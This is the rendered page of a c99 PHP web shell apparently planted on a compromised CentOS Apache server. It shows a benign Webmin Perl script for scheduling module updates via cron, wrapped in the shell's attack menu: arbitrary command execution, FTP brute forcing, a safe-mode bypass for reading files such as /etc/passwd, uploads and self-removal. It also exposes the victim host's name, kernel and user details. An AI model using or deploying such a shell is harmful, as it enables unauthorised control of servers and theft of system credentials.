!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/usermin/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     update_sched.cgi (1.98 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# update_sched.cgi
# Schedule the auto-updating of usermin modules

require './usermin-lib.pl';
$access{'upgrade'} || &error($text{'acl_ecannot'});
&foreign_require("cron", "cron-lib.pl");
&ReadParse();
&error_setup($text{'update_err'});

# Validate inputs
&lock_file("$module_config_directory/config");
if ($in{'source'} == 0) {
    $config{'upsource'} = undef;
    }
else {
    $in{'other'} =~ /^http:\/\/([^:\/]+)(:(\d+))?(\/\S+)$/ ||
        &error($text{'update_eurl'});
    $config{'upsource'} = $in{'other'};
    }
$config{'update'} = $in{'enabled'};
if ($config{'cron_mode'} == 0) {
    $in{'hour'} =~ /^\d+$/ && $in{'hour'} < 24 ||
        &error($text{'update_ehour'});
    $config{'uphour'} = $in{'hour'};
    $in{'days'} =~ /^\d+$/ ||
        &error($text{'update_edays'});
    $config{'updays'} = $in{'days'};
    }
$config{'upshow'} = $in{'show'};
$config{'upmissing'} = $in{'missing'};
$config{'upquiet'} = $in{'quiet'};
$config{'upemail'} = $in{'email'};
!$in{'show'} || $in{'email'} || &error($text{'update_eemail'});
&write_file("$module_config_directory/config", \%config);
&unlock_file("$module_config_directory/config");

# Setup the cron job
@jobs = &cron::list_cron_jobs();
$job = &find_cron_job(\@jobs);
&lock_file($cron_cmd);
if ($job) {
    &cron::delete_cron_job($job);
    unlink($cron_cmd);
    }
if ($in{'enabled'}) {
    # Create the program that cron calls
    &cron::create_wrapper($cron_cmd, $module_name, "update.pl");

    $njob = { 'user' => 'root', 'active' => 1,
          'command' => $cron_cmd };
    if ($config{'cron_mode'} == 0) {
        # Setup the actual cron job, simply
        if ($in{'days'} == 1) {
            @days = ( "*" );
            }
        else {
            for($i=1; $i<=31; $i+=$in{'days'}) {
                push(@days, $i);
                }
            }
        $njob->{'mins'} = $in{'mins'};
        $njob->{'hours'} = $in{'hour'};
        $njob->{'days'} = join(",",@days);
        $njob->{'months'} = '*';
        $njob->{'weekdays'} = '*';
        }
    else {
        # Create complex cron job
        &cron::parse_times_input($njob, \%in);
        }
    &foreign_call("cron", "create_cron_job", $njob);
    }
&unlock_file($cron_cmd);
&redirect("");



:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0053 ]--